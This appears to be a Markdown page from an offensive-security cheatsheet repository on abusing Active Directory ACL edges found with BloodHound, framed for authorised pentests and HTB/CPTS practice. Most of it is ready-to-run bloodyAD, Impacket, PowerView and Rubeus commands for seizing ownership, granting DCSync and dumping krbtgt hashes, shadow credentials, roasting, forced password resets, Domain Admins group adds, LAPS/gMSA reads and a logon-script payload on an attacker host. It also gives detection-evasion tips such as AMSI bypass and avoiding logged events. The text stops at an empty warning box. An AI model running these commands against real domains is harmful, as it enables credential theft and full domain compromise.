daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

acl-and-object-abuse.md (47195B)


      1 ---
      2 title: "Stage 06 — ACL and Object Abuse"
      3 description: "CPTS attack-flow reference for stage 06 — acl and object abuse in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 9
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-06", "pentest-workflow"]
      8 tools: ["BloodyAD", "PowerView", "Impacket", "BloodHound"]
      9 difficulty: advanced
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/09 - Stage 06 - ACL and Object Abuse.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 09 of 17 · **Focus:** Stage 06 — ACL and Object Abuse
     17 >
     18 > **Previous:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) · **Next:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)
     19 
     20 ---
     21 # 🩸 STAGE 6 — ACL & Object Abuse (BloodHound edges)
     22 
     23 This is where BloodHound edges become shells. **bloodyAD is my driver** — it talks LDAP/LDAPS/SAMR straight to the DC and turns every ACL edge into one write. PowerView (Windows foothold) and Impacket (Linux) are the equivalents when bloodyAD isn't an option. Workflow: collect the graph → click the outbound edge → find it below → copy the one-liner → reverse it in cleanup.
     24 
     25 > [!tools] Stage this
     26 > [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) — PowerSploit [PowerView](https://github.com/PowerShellMafia/PowerSploit): `Find-InterestingDomainAcl`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Set-DomainObjectOwner`, `Set-DomainUserPassword`. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained.
     27 > [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256) · [GPG signature](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256.asc)) — [StandIn](https://github.com/FuzzySecurity/StandIn): small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read.
     28 > [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) — [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast): one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash.
     29 > [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc)) — [Whisker](https://github.com/eladshamir/Whisker): Windows-side Shadow Credentials (writes `msDS-KeyCredentialLink`); pair with Rubeus `asktgt /getcredentials` for the PKINIT+UnPAC tail. Linux twin: [pywhisker](https://github.com/ShutdownRepo/pywhisker).
     30 >
     31 > Link-only drivers: [bloodyAD](https://github.com/CravateRouge/bloodyAD) · [Impacket](https://github.com/fortra/impacket) (`dacledit.py`, `owneredit.py`, `rbcd.py`, `addcomputer.py`) · [NetExec](https://github.com/Pennyw0rth/NetExec) · [autobloody](https://github.com/CravateRouge/autobloody) · [evil-winrm](https://github.com/Hackplayers/evil-winrm).
     32 
     33 > [!note] Auth block for every bloodyAD call
     34 > Every command uses `-d "$DOMAIN" -u "$U" -p "$P" --host "$DC"`. Swap `-p "$P"` for `-p ':<NThash>'` to pass-the-hash, add `-k` for Kerberos, `-s` for LDAPS (so writes aren't cleartext). If the DC name won't resolve, add `-i "$IP" --dns "$IP"`. Full auth matrix + verbs in BloodyAD.
     35 
     36 ---
     37 
     38 ## ACE primer — what each edge actually means
     39 
     40 Every BloodHound abuse edge is an ACE in the target's security descriptor. Read this table once, then every section below is just "which write do I get".
     41 
     42 | ACE / BloodHound edge | AD right (GUID family) | What it lets me do | Go-to abuse |
     43 | :-- | :-- | :-- | :-- |
     44 | **GenericAll** | `RIGHT_GENERIC_ALL` (full control) | Everything: write any attr, rewrite DACL, take ownership | Shadow creds / targeted roast (user) · group add (group) · RBCD (computer) |
     45 | **GenericWrite** | `RIGHT_GENERIC_WRITE` | Write most attributes, **not** the DACL, **not** password | Targeted Kerberoast (plant SPN) · shadow creds · logon script · UAC flips |
     46 | **WriteDacl** | `WRITE_DAC` | Rewrite the object's DACL | Grant self GenericAll; on domain root → grant DCSync |
     47 | **WriteOwner** / **Owns** | `WRITE_OWNER` | Seize ownership → owner always controls the DACL | Own it → grant self GenericAll (two-step WriteDacl) |
     48 | **ForceChangePassword** | `User-Force-Change-Password` extended right | Reset password without knowing the old one | `Set-DomainUserPassword` / `bloodyAD set password` (loud) |
     49 | **AddMember** / **AddSelf** | Write on group's `member` attribute (AddSelf = validated write, self only) | Add accounts (or just me) to the group | `net group` / `Add-DomainGroupMember` / `bloodyAD add groupMember` |
     50 | **AllExtendedRights** | `RIGHT_DS_CONTROL_ACCESS` (all ext. rights) | All extended rights at once | On domain root = DCSync now (no write needed); on user = password reset |
     51 | **Self** (validated) | Validated write bound to the object itself | e.g. self-service group membership, SPN self-write | Context-dependent — check which validated write the GUID maps to |
     52 | **WriteProperty (SPN)** | Write on `servicePrincipalName` | Set/clear SPNs only | Targeted Kerberoast (plant SPN → roast → remove) |
     53 | **WriteProperty (logonscript)** | Write on `scriptPath` | Set a logon script UNC path | Fires at victim's next **interactive** logon |
     54 | **WriteProperty (msDS-KeyCredentialLink)** = **AddKeyCredentialLink** | Write key credentials | Shadow Credentials → PKINIT → NT hash, no password touch |
     55 | **ReadLAPSPassword** | Read `ms-Mcs-AdmPwd` / `msLAPS-Password` | Read the machine's local admin password | `Get-DomainComputer … ms-mcs-admpwd` / LAPSToolkit (quiet read) |
     56 | **ReadGMSAPassword** | Read `msDS-ManagedPassword` | Read a gMSA's current password blob → derive NT hash | DSInternals / gMSADumper (quiet read) |
     57 | **DS-Replication-Get-Changes(-All)** | `1131f6aa/1131f6ad/…-9c15-002f18460f81` GUIDs on domain root | Replicate directory data | DCSync — `secretsdump.py` / `mimikatz lsadump::dcsync` (see [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)) |
     58 
     59 > [!tip] ACE algebra
     60 > `GenericAll` ⊇ `GenericWrite` + `WriteDacl` + `WriteOwner` — a GenericAll target is vulnerable to **every** attack listed under the lesser rights. `WriteOwner` → `WriteDacl` → `GenericAll` is the standard promotion chain: owner can always rewrite the DACL regardless of what the DACL says.
     61 >
     62 > Two rights deserve special attention because they hide in plain sight:
     63 > - **`Self`** is meaningless until you resolve the `ObjectAceType` GUID — it might be "add self to group" (gold) or "write my own phone number" (nothing). `Get-DomainObjectAcl -ResolveGUIDs` or `dacledit.py -action read` will tell you.
     64 > - **`ReadLAPSPassword`/`ReadGMSAPassword`** never appear as "dangerous" in some collectors but are pure credential theft with zero modification events — always check inbound *read* edges, not just write edges.
     65 
     66 ---
     67 
     68 ## Reading ACLs — find the edge before you swing it
     69 
     70 ```bash
     71 # BloodHound CE collection (the graph IS the ACL map) — see Stage 04 for collector options
     72 bloodhound-python -d "$DOMAIN" -u "$U" -p "$P" -ns "$IP" -c All --zip
     73 # nxc one-liner collector:
     74 nxc ldap "$IP" -u "$U" -p "$P" --bloodhound -c All --dns-server "$IP"
     75 
     76 # bloodyAD: everything I can write to — start here
     77 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get writable --detail
     78 
     79 # which ACEs I actually hold on a target (Owner / WriteDacl / GenericWrite / GenericAll)
     80 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object victim --resolve-sd
     81 ```
     82 
     83 ```bash
     84 # Impacket equivalents
     85 findDelegation.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP"          # delegation edges
     86 dacledit.py -action read -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"   # raw DACL dump
     87 
     88 # nxc — quick delegation + group context sweeps
     89 nxc ldap "$IP" -u "$U" -p "$P" --find-delegation
     90 nxc ldap "$IP" -u "$U" -p "$P" -M get-desc-users            # stray creds while you're here
     91 ```
     92 
     93 ```powershell
     94 # PowerView (Windows foothold) — the classic enumeration trio
     95 Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "$env:USERNAME" }
     96 Get-DomainObjectAcl -Identity victim -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|GenericWrite' }
     97 # domain-root replication rights (who can DCSync already?)
     98 Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs |
     99   ? { $_.ObjectAceType -match 'Replicating' }
    100 ```
    101 
    102 **BloodHound Cypher — outbound object control from my user:**
    103 ```cypher
    104 MATCH p=(n {name:'YOU@DOMAIN.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|AllExtendedRights]->(m) RETURN p
    105 // and the money query — shortest path to DA:
    106 MATCH p=shortestPath((n {name:'YOU@DOMAIN.LOCAL'})-[*1..]->(m {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
    107 ```
    108 
    109 > [!tip] Don't trust one source
    110 > BloodHound edges are a snapshot — re-confirm the ACE with `bloodyAD get object victim --resolve-sd` or `dacledit.py -action read` before burning a write. Stale graph data is the #1 cause of "the one-liner didn't work". Group membership changes also take effect only on next logon/TGT — bloodyAD re-authenticates per call, PowerView/klist sessions don't.
    111 
    112 ---
    113 
    114 ## Edge → command quick index
    115 
    116 | BloodHound edge | bloodyAD one-liner | PowerView / Impacket equivalent |
    117 | :-- | :-- | :-- |
    118 | Owns / WriteOwner | `set owner victim "$U"` → `add genericAll victim "$U"` | `Set-DomainObjectOwner` / `owneredit.py` → `dacledit.py` |
    119 | WriteDacl | `add genericAll victim "$U"` (or `add dcsync "$U"` on domain) | `Add-DomainObjectAcl` / `dacledit.py -rights FullControl\|DCSync` |
    120 | GenericAll (user) | `add shadowCredentials victim` | `certipy shadow auto` / `pywhisker` / `Whisker.exe` |
    121 | GenericAll (group) | `add groupMember 'Domain Admins' "$U"` | `Add-DomainGroupMember` / `ldap_shell` |
    122 | GenericAll (computer) | `add rbcd 'TARGET$' 'ATTACKER$'` | `rbcd.py -action write` / shadow creds on `TARGET$` |
    123 | GenericWrite | `set object victim servicePrincipalName -v 'HTTP/x'` | `Set-DomainObject -Set @{serviceprincipalname=…}` / `targetedKerberoast.py` |
    124 | ForceChangePassword | `set password victim 'Newpass123!'` | `Set-DomainUserPassword` / `net rpc password` |
    125 | AddSelf / AddMember | `add groupMember 'Domain Admins' "$U"` | `Add-DomainGroupMember` / `net group "Domain Admins" $U /add /domain` |
    126 | AddKeyCredentialLink | `add shadowCredentials victim` | `certipy shadow auto` / `pywhisker` |
    127 | AllExtendedRights / DCSync | `add dcsync "$U"` → `secretsdump.py` | `dacledit.py -rights DCSync` → `secretsdump.py` |
    128 | AddAllowedToAct | `add rbcd 'TARGET$' 'ATTACKER$'` | `rbcd.py -action write` |
    129 | ReadLAPSPassword | `get object TARGET$ --attr msLAPS-Password` | `Get-DomainComputer … ms-mcs-admpwd` / `nxc ldap --laps` |
    130 | ReadGMSAPassword | `get object gmsa$ --attr msDS-ManagedPassword` | DSInternals `Get-ADReplAccount` / `gMSADumper.py` |
    131 
    132 ---
    133 
    134 ### Owns / WriteOwner
    135 
    136 **What to look for:** an `Owns` or `WriteOwner` edge to a user/group/computer. The owner can always rewrite the DACL, so this is full control in two steps.
    137 
    138 **Exploit:**
    139 
    140 ```bash
    141 # 1. take ownership
    142 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set owner victim "$U"
    143 # 2. grant myself GenericAll — now do any GenericAll attack below
    144 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
    145 ```
    146 
    147 ```bash
    148 # Impacket equivalent
    149 owneredit.py -action write -new-owner "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
    150 dacledit.py  -action write -rights FullControl -principal "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
    151 ```
    152 
    153 ```powershell
    154 # PowerView equivalent
    155 Set-DomainObjectOwner -Identity victim -OwnerIdentity $U
    156 Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity $U -Rights All
    157 ```
    158 
    159 > [!warning] Watch out
    160 > `set owner` is **not** rolled back by autobloody and leaves a durable IOC (4670/5136). Note the original owner (`owneredit.py -action read`) and hand it back in cleanup. On `adminCount=1` targets the grant is reverted by SDProp within 60 min — act fast, or backdoor AdminSDHolder instead.
    161 
    162 ---
    163 
    164 ### WriteDacl
    165 
    166 **What to look for:** a `WriteDacl` edge. Grant yourself full control on the object — or, if the edge is on the **domain root**, grant yourself DCSync.
    167 
    168 **Exploit:**
    169 
    170 ```bash
    171 # grant self full control over the object
    172 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
    173 
    174 # WriteDacl on the DOMAIN object → grant DCSync, then replicate
    175 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
    176 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"
    177 ```
    178 
    179 ```bash
    180 # Impacket equivalent — SNAPSHOT FIRST (see OPSEC section), then write
    181 dacledit.py -action backup -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
    182 dacledit.py -action write -rights DCSync -principal "$U" -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
    183 # ...dump, then restore:
    184 dacledit.py -action restore -file dacledit-*.bak "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
    185 ```
    186 
    187 ```powershell
    188 # PowerView equivalent
    189 Add-DomainObjectAcl `
    190   -TargetIdentity 'DC=corp,DC=local' `
    191   -PrincipalIdentity $U `
    192   -Rights DCSync
    193 ```
    194 
    195 > [!warning] Watch out
    196 > Leaving DCSync on a low-priv user is a permanent IOC. **Always** `remove dcsync "$U"` after you've dumped. WriteDacl → DCSync is the single most common ACL escalation — many envs don't even audit 4662/5136, but assume they do.
    197 
    198 ---
    199 
    200 ### GenericAll
    201 
    202 **What to look for:** the nuclear edge — superset of GenericWrite + WriteDacl + WriteOwner. Pick the exploit by target type.
    203 
    204 **Exploit:**
    205 
    206 ```bash
    207 # USER → recover NT hash via shadow creds (quiet, reversible) — preferred
    208 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
    209 
    210 # USER → reset password (loud, breaks their logon)
    211 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
    212 
    213 # USER → targeted Kerberoast (works without PKINIT/ADCS)
    214 python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --only-abuse --dc-ip "$IP"
    215 
    216 # GROUP → add myself
    217 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
    218 
    219 # COMPUTER → option A: RBCD (see delegation below)
    220 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
    221 # COMPUTER → option B: shadow credentials on the machine account → its NT hash → local admin
    222 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials 'TARGET$'
    223 ```
    224 
    225 **Windows-foothold equivalent (Whisker.exe — staged above):**
    226 
    227 ```powershell
    228 # add a key credential to the target (user or computer)
    229 .\Whisker.exe add /target:victim /domain:$DOMAIN /dc:$DC
    230 # -> note the DeviceID for cleanup; Whisker prints a ready-made Rubeus command:
    231 .\Rubeus.exe asktgt /user:victim /certificate:<Base64PFX> /password:"<pfxpass>" /domain:$DOMAIN /dc:$DC /getcredentials /show /nowrap
    232 # cleanup: .\Whisker.exe remove /target:victim /deviceid:<DeviceID>
    233 ```
    234 
    235 > [!tip] GenericAll on a GROUP → cascade
    236 > Add yourself to a group that holds GenericWrite over service accounts, then shadow-cred each member — all in bloodyAD. It re-authenticates on every call, so the new membership (and its inherited rights) is live on the very next command with no re-login. This is the Fluffy chain: `add groupMember 'Service Accounts' "$U"` → `add shadowCredentials winrm_svc` → `add shadowCredentials ca_svc`.
    237 
    238 > [!warning] Watch out
    239 > Since GenericAll ⊇ GenericWrite, every [GenericWrite](#genericwrite) attack (targeted Kerberoast, logon script, AS-REP) also works on this target. On a computer target, RBCD needs `ms-DS-MachineAccountQuota > 0` to create `ATTACKER$`; shadow creds on `TARGET$` don't (no new object needed).
    240 
    241 ---
    242 
    243 ### GenericWrite
    244 
    245 **What to look for:** write to (most) attributes but **not** the DACL. No password reset — but you can plant an SPN, a Key Credential, a logon script, or flip a UAC flag.
    246 
    247 **Exploit:**
    248 
    249 ```bash
    250 # Targeted Kerberoast — Linux one-shot (staged above): plant SPN → roast → auto-cleanup
    251 python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --dc-ip "$IP"
    252 #   -v verbose · --only-abuse only roast objects I control · --no-cleanup skip SPN removal (don't)
    253 hashcat -m 13100 roast.txt rockyou.txt
    254 
    255 # Manual equivalent — plant SPN → roast → REMOVE THE SPN (always)
    256 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName -v 'HTTP/fake.'"$DOMAIN"
    257 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" -request-user victim -outputfile roast.txt
    258 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName   # cleanup (omit -v = clear)
    259 
    260 # Shadow credentials (also reachable via GenericWrite) — best route if ADCS/PKINIT present
    261 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
    262 
    263 # Targeted AS-REP roast — set DONT_REQ_PREAUTH → grab AS-REP → unset
    264 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac victim -f DONT_REQ_PREAUTH
    265 GetNPUsers.py "$DOMAIN"/victim -no-pass -dc-ip "$IP" -format hashcat -outputfile asrep.hash
    266 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove uac victim -f DONT_REQ_PREAUTH
    267 
    268 # Logon-script abuse — fires at victim's next INTERACTIVE logon
    269 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim scriptPath -v '\\'"$LHOST"'\share\run.bat'
    270 ```
    271 
    272 ```powershell
    273 # PowerView equivalent from a Windows foothold
    274 Set-DomainObject -Identity victim -Set @{
    275   serviceprincipalname = 'fake/kerberoast'
    276 }
    277 .\Rubeus.exe kerberoast /user:victim /outfile:roast.txt
    278 Set-DomainObject -Identity victim -Clear serviceprincipalname
    279 ```
    280 
    281 ```powershell
    282 # StandIn (staged above) — when PowerShell logging/AMSI is a problem
    283 .\StandIn.exe --object samaccountname=victim --set spn "HTTP/fake.$DOMAIN"
    284 .\StandIn.exe --object samaccountname=victim --remove spn
    285 .\StandIn.exe --object samaccountname=victim --asrep        # flip DONT_REQ_PREAUTH
    286 ```
    287 
    288 > [!warning] Watch out
    289 > GenericWrite does **not** include `User-Force-Change-Password` — you cannot reset the password with it. Use shadow creds or Kerberoast. `scriptPath` only fires on an **interactive** logon, so it's useless against a service account that never touches a desktop. GenericWrite on a **group** ≠ AddMember — you need GenericAll/AddMember for that. A planted SPN left behind is a trivial IOC (`setspn -Q` / BloodHound) — remove it the moment the TGS lands.
    290 
    291 **WriteProperty variants (scoped writes):** a `WriteProperty` ACE limited to one attribute is just GenericWrite with blinders. Read the ACE's `ObjectAceType` GUID (`-ResolveGUIDs`) to know which attribute you can touch:
    292 
    293 | WriteProperty target | Abuse | Notes |
    294 | :-- | :-- | :-- |
    295 | `servicePrincipalName` | Targeted Kerberoast (set → roast → clear) | Also granted by the `Self` validated-write on some objects |
    296 | `scriptPath` (logon script) | UNC path to a payload; fires at interactive logon | Pair with a Responder/SMB capture share if execution is slow |
    297 | `msDS-KeyCredentialLink` | Shadow Credentials | See dedicated section |
    298 | `userAccountControl` | Flip `DONT_REQ_PREAUTH` (AS-REP roast) or delegation flags | Revert with `remove uac` |
    299 | `member` (on a group) | AddMember | See dedicated section |
    300 | `msDS-AllowedToActOnBehalfOfOtherIdentity` | RBCD | See delegation section |
    301 
    302 ---
    303 
    304 ### ForceChangePassword
    305 
    306 **What to look for:** the `User-Force-Change-Password` extended right — reset the password without knowing the old one. Single-purpose, but one reset of a DA/service account = domain.
    307 
    308 **Exploit:**
    309 
    310 ```bash
    311 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
    312 ```
    313 
    314 ```bash
    315 # Samba/RPC equivalents from Linux
    316 rpcclient -U "$DOMAIN/$U%$P" "$DC" -c "setuserinfo2 victim 23 Newpass123!"
    317 net rpc password victim 'Newpass123!' -U "$DOMAIN/$U%$P" -S "$DC"
    318 ```
    319 
    320 ```powershell
    321 # PowerView equivalent
    322 $NewPassword = ConvertTo-SecureString 'Newpass123!' -AsPlainText -Force
    323 Set-DomainUserPassword -Identity victim -AccountPassword $NewPassword
    324 ```
    325 
    326 > [!tip] Prefer the quiet alternative
    327 > If the same edge set also gives you GenericWrite/GenericAll on the victim, **skip the reset** — shadow credentials get you the NT hash (and a cert) without touching `unicodePwd`. The victim keeps working, no 4724 fires, and there's nothing to "change back" beyond removing a DeviceID. ForceChangePassword is the fallback for environments without PKINIT where roasting failed (strong password).
    328 
    329 ```bash
    330 # the quiet alternative in one line (requires PKINIT)
    331 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
    332 ```
    333 
    334 > [!warning] Watch out
    335 > Password reset is the **loudest** ACL attack — the victim is locked out instantly and it fires **4724**. If you also hold GenericWrite/GenericAll, prefer shadow credentials (original password keeps working). If you must reset, note the box owner and reset back on an engagement. Also: resetting an account used by a running service breaks the service — check `servicePrincipalName` and logon events before you swing.
    336 
    337 ---
    338 
    339 ### AddSelf / AddMember
    340 
    341 **What to look for:** write to the group's `member` attribute (`AddSelf` = you may only add yourself). Instant escalation if it's a privileged group.
    342 
    343 **Exploit:**
    344 
    345 ```bash
    346 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
    347 # verify + cleanup
    348 nxc smb "$IP" -u "$U" -p "$P" -x "whoami /groups"
    349 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove groupMember 'Domain Admins' "$U"
    350 ```
    351 
    352 ```powershell
    353 # Windows equivalents
    354 net group "Domain Admins" $U /add /domain
    355 Add-DomainGroupMember -Identity 'Domain Admins' -Members $U        # PowerView
    356 .\StandIn.exe --group "Domain Admins" --add $U                      # StandIn
    357 # cleanup:  net group "Domain Admins" $U /del /domain
    358 ```
    359 
    360 ```bash
    361 # Impacket / Linux equivalents
    362 # ldap_shell:  add_user_to_group me "Domain Admins"
    363 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get group 'Domain Admins' --attr member   # verify before/after
    364 ```
    365 
    366 > [!tip] Grab what you need, then leave
    367 > If I add myself to Domain Admins, I DCSync the KRBTGT hash immediately, then `remove groupMember` — the shorter the membership window (4728/4756), the less likely the alert lands. Membership isn't live for tools that cache a TGT — request a fresh ticket (`klist purge` / new `getTGT.py`) or use bloodyAD which re-auths per call.
    368 >
    369 > AddSelf vs AddMember: with `AddSelf` you can only add *yourself* — no staging a second backdoor account. Plan your single seat accordingly.
    370 
    371 ---
    372 
    373 ### ReadLAPSPassword / ReadGMSAPassword — quiet reads
    374 
    375 **What to look for:** read rights on `ms-Mcs-AdmPwd` (legacy LAPS), `msLAPS-Password` (Windows LAPS) on a computer, or `msDS-ManagedPassword` on a gMSA. These are **reads, not writes** — no modification events, just directory access (4662 if SACLs exist at all). Best-value edges in the graph.
    376 
    377 ```powershell
    378 # PowerView — legacy LAPS
    379 Get-DomainComputer -Identity TARGET -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
    380 # LAPSToolkit:  Get-LAPSComputers | findstr TARGET   ·   SharpLAPS.exe
    381 ```
    382 
    383 ```bash
    384 # Linux / nxc — one shot, also checks readability automatically
    385 nxc ldap "$IP" -u "$U" -p "$P" -M laps          # or --laps on newer builds
    386 # gMSA password blob → NT hash
    387 python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l "$IP"
    388 # bloodyAD raw read
    389 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'gmsa_svc$' --attr msDS-ManagedPassword
    390 ```
    391 
    392 ```powershell
    393 # DSInternals — gMSA blob → NT hash from a Windows foothold
    394 $blob = (Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
    395 $mp = ConvertFrom-ADManagedPasswordBlob $blob
    396 ConvertTo-NTHash $mp.SecureCurrentPassword
    397 ```
    398 
    399 > [!tip] OPSEC — reads are quiet, writes are loud
    400 > LAPS/gMSA reads touch nothing on the target and fire no object-modification events — at worst a 4662 on the DC *if* the attribute SACL is audited (rare). Compare with a password reset (4724) or group add (4728). When the graph offers both a read and a write path to the same host, take the read every time.
    401 
    402 ---
    403 
    404 ### AllExtendedRights / DCSync
    405 
    406 **What to look for:** `AllExtendedRights` on the **domain root** means you already *hold* `DS-Replication-Get-Changes(-All)` — DCSync with **no** DACL modification needed. On a user it grants `User-Force-Change-Password`.
    407 
    408 **Exploit:**
    409 
    410 ```bash
    411 # domain root → replicate straight away (you already have the right)
    412 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" -just-dc-user krbtgt
    413 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"                      # full dump
    414 
    415 # only need to GRANT it? (WriteDacl on domain) — then dump, then remove
    416 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
    417 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove dcsync "$U"
    418 ```
    419 
    420 ```powershell
    421 # mimikatz on a DC-adjacent foothold (same rights, no Linux needed)
    422 lsadump::dcsync /domain:$DOMAIN /user:krbtgt
    423 ```
    424 
    425 > [!warning] Watch out
    426 > `AllExtendedRights` differs from `WriteDacl`: no need to *add* the right, you already **have** it — don't waste a noisy `dacledit` write. Replication fires **4662**; a low-priv account DCSyncing is a screaming signature, so grab KRBTGT + targets and get out. What to do with the dumped hashes (PtH, golden ticket, offline crack): [Stage 10 — Lateral Movement](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). Deep dive: 🟡 Attack.
    427 >
    428 > Practical order of operations on the domain root:
    429 > 1. `secretsdump.py … -just-dc-user krbtgt` — krbtgt first (golden ticket capability).
    430 > 2. Then the specific DA/service accounts you actually need.
    431 > 3. Only then, if required, the full dump — every additional replicated attribute widens the 4662 footprint.
    432 
    433 ---
    434 
    435 ### Shadow Credentials (AddKeyCredentialLink)
    436 
    437 **What to look for:** write to `msDS-KeyCredentialLink` (via GenericWrite / GenericAll / WriteDacl / AddKeyCredentialLink) with **PKINIT/ADCS present** and DFL 2016+. Stealthiest takeover — no password change, survives resets.
    438 
    439 **Exploit:**
    440 
    441 ```bash
    442 # bloodyAD does the WHOLE attack: adds the key, does PKINIT, PRINTS the NT hash — no Certipy needed
    443 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
    444 #   [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325
    445 
    446 # save the recovered TGT/pfx to a path, then clean up the key
    447 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim --path /tmp/victim
    448 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove shadowCredentials victim
    449 
    450 # log in with the recovered hash (winrm_svc example)
    451 evil-winrm -i "$DC" -u victim -H a9285c625af80519ad784729655ff325
    452 ```
    453 
    454 ```bash
    455 # Certipy equivalent (full auto: add key → PKINIT → hash)
    456 certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account victim -dc-ip "$IP" -dc-host "$DC"
    457 
    458 # pyWhisker + certipy auth (two-step)
    459 pywhisker.py -d "$DOMAIN" -u "$U" -p "$P" --target victim --action add --dc-ip "$IP"
    460 certipy-ad auth -pfx victim.pfx -dc-ip "$IP"
    461 # cleanup:  pywhisker.py … --action remove --device-id <id>
    462 
    463 # works on COMPUTER objects too → machine account hash → often local admin on that box
    464 certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account 'TARGET$' -dc-ip "$IP" -dc-host "$DC"
    465 ```
    466 
    467 Windows foothold: use Whisker.exe + Rubeus (staged at top — see the GenericAll section for exact commands).
    468 
    469 > [!warning] Watch out
